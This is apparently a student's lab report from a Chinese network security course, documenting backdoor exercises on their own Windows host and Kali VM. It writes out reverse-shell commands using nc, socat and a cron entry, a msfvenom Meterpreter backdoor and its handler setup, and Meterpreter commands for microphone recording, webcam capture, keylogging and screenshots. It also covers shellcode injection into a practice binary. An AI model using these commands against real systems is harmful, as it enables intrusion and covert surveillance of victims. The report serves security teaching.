20201226马瑞婕《网络对抗》Exp2后门原理与实践

发布时间 2023-03-22 21:16:45作者: 游浩贤

1 实验基础

1.1 基础知识

1.1.1 后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

常用后门工具

  • NC和Netcat

底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用

  • SoCat

相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。

  • Meterpreter

一个用来生成后门程序的程序。
它包含着后门的

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)
  • 编码模式
  • 运行平台
  • 运行参数
  • 它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

常见的Meterpreter程序有

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.

2.实验目标

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或- - socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

3.实验环境

环境

  • 主机:Windows 10;
  • 靶机:Kali Linux Debian 10;

在主机上用ipconfig查看Windows10主机IP

主机IP为172.16.214.161

在Kali虚拟机中用sudo ifconfig查看Kali虚拟机IP

Kali虚拟机IP为192.168.48.129

4.实验过程

4.1使用netcat获取主机操作Shell,cron启动

首先在云班课的实验任务中找到附件下载链接: https://gitee.com/wildlinux/NetSec/attach_files
关闭防火墙和杀毒软件,下载并解压ncat.rar

在cmp中进入ncat.exe所在文件夹

4.1.1在主机中使用ncat -l -p 1226(个人学号后四位)监听本机的1226端口**

4.1.2在主机中获取虚拟机shell

在虚拟机中使用nc 172.16.214.161(主机IP) 1226 -e /bin/sh连主机反弹shell

成功getshell

4.1.3在虚拟机中获取主机shell

在虚拟机中用nc -l -p 1226监听主机1226端口
在主机中用ncat -e cmd 192.168.56.103 4311成功获取到主机shell

4.1.4在虚拟机中cron启动并在主机监听

先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

在最后一行添加55 * * * * /bin/netcat 172.16.214.161 1226 -e /bin/sh,即在每个小时的第55分钟反向连接Windows主机的1226端口

等到每小时的55,在ip地址为172.16.214.161 的主机端用ncat -l -p 1226打开监听即可

在主机成功获取虚拟机的shell

4.2使用socat获取主机操作Shell,任务计划启动

在Windows获得Linux Shell
在Kali中用man socat查看使用说明

在Windows中按Win+R,再输入compmgmt.msc打开计算机管理

在系统工具中的任务计划程序中创建任务

设置任务名称

新建触发器

下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README

新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1226 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1226,同时把cmd.exe的stderr重定向

在Kali中输入命令socat - tcp:172.16.214.161:1226

成功获取Windows的Shell

4.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上生成后门可执行程序20201226_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=1226 -f exe > 20201226_backdoor.exe,其中

  • LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
  • LPORT是回连的端口
  • -p 使用的payload。
  • payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp``就是一段shellcode。
  • -f 生成文件的类型
  • > 输出到哪个文件

在Windows上打开监听ncat.exe -lv 1226 >20201226_backdoor.exe

在Kali上用nc 172.48.214.161 1226 < 20201226_backdoor.exe将生成的20201226_backdoor.exe后门程序传过去
注意:此时不要点击此exe文件

在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置
依次输入以下命令

use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.48.129 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1226

输入show options查看配置完后的情况

接着输入exploit进行监听,在Windows在打开20201226_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.1获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长,设置时长过长会报错,过短会捕捉不到声音,最好的长度是15秒,如图)

获得主机音频的音频文件

5.2获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照

run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片(大概一秒一张),并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件

5.3击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

5.4截取主机屏幕

使用screenshot指令可以进行截屏

6.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

6.1参考网上资料

https://www.cnblogs.com/marryj/p/17212409.html

6.2使用msfvenom --list payload查看各个主机版本适用的payload

6.3选定payload,确定所需要参数

指令如下:

msfvenom -p linux/x86/shell_reverse_tcp --list-options

选好了payload,接下来我们-f选payload的输出格式,可通过如下指令查看其有那些格式

msfvenom -f --list                                        
linux/x86/shell/reverse_tcp    

6.4生成shellcode

最终生成shellcode的指令为

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4311 -f c

-p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp,其中需要的参数分别为: LHOST=192.168.48.129 LPORT=1226
-f c表示采取c编码格式

6.5input_shellcode文件

按照实验一方法生成input_shellcode文件(实验一目录4注入shellcode并执行 https://www.cnblogs.com/marryj/p/17212409.html#6)

6.6再开一个终端,配置msfconsole

命令如下:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LPORT 1226
LPORT => 1226
msf6 exploit(multi/handler) > set LHOST 192.168.48.129
LHOST => 192.168.48.129

6.7打开exploit监听

6.8在之前的终端输入(cat input_shellcode;cat) | ./pwn1226

6.9成功!

7.基础问题回答

7.1例举你能想到的一个后门进入到你系统中的可能方式?

在网上下载盗版的软件,捡个未知来源的U盘直接插电脑上

7.2例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:Win:设置开机自启动项、点击exe文件
  • Linux:通过crontab-e设置定时监听;或者利用缓冲区地址覆盖注入shellcode

7.3Meterpreter有哪些给你印象深刻的功能?

对Meterpreter启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻。而且生成的后门不仅能直接获取主机的shell权限,还可以进行多方面的监听监视、获取口令密码等。

7.4如何发现自己有系统有没有被安装后门?

  • 安装杀毒软件,定期对系统和对恶意代码进行检测,并及时更新杀毒软件的特征库
  • 打开防火墙,查看是否有异常端口

8.实验心得

  • 有了实验一的铺垫,原以为实验二不会在像实验一一样艰难的,结果。。。问题百出,而且都是很多莫名其妙的问题,通常就是我多试了几遍,试着试着就好了,就真的很抽象。

  • 问题一:进入root中,使用crontap-e,不能进去vim进行编辑,我上网查找了很多方法,比如重启服务、怀疑是无法读取环境变量的原因等,在查找的过程中也知道了在Ubuntu上面的服务名称是cron不是crond,但都没啥用。结果我退出root之后,就能正常使用了(很神奇),总之这里花了很长时间。

  • 问题二:在计算机管理创建任务并配置之后,使用sorcat获取主机shell权限的时候,出现了无法链接的问题。首先排除网络问题,是能ping通的;其次发现可能是创建和配置任务时出现的问题,因为是第一次使用,很多功能并不了解,在重新查找资料询问同学之后,也并没有发现什么问题,后面我重新改了个任务名字sortcat就连接成功了。莫名其妙就解决了第二个问题。

  • 问题三:换网之后没有重新查看主机IP导致实验步骤无法进行下去。

  • 本次实验,特别对使用Meterpreter生成对应后门,并获取主机shell权限、能实现监听、监视、获取口令密码等非常感兴趣。同时也突然意识到随着网络的不断发现,现如今大家的信息其实都已经暴露,可能已经不存在所谓的隐私了。例如大数据的监听,是不是就利用的后门,但这些我们也好像无法去避免,因为很多应用程序都已经成为了生活必需品,而且很多后门其实具有免杀属性。。只能尽其所能去使用杀毒软件之类去预防并,提高警惕意识,对于来历不明盗版软件和文件不去下载,对于恶意链接和程序不去点击,总之自求多福吧。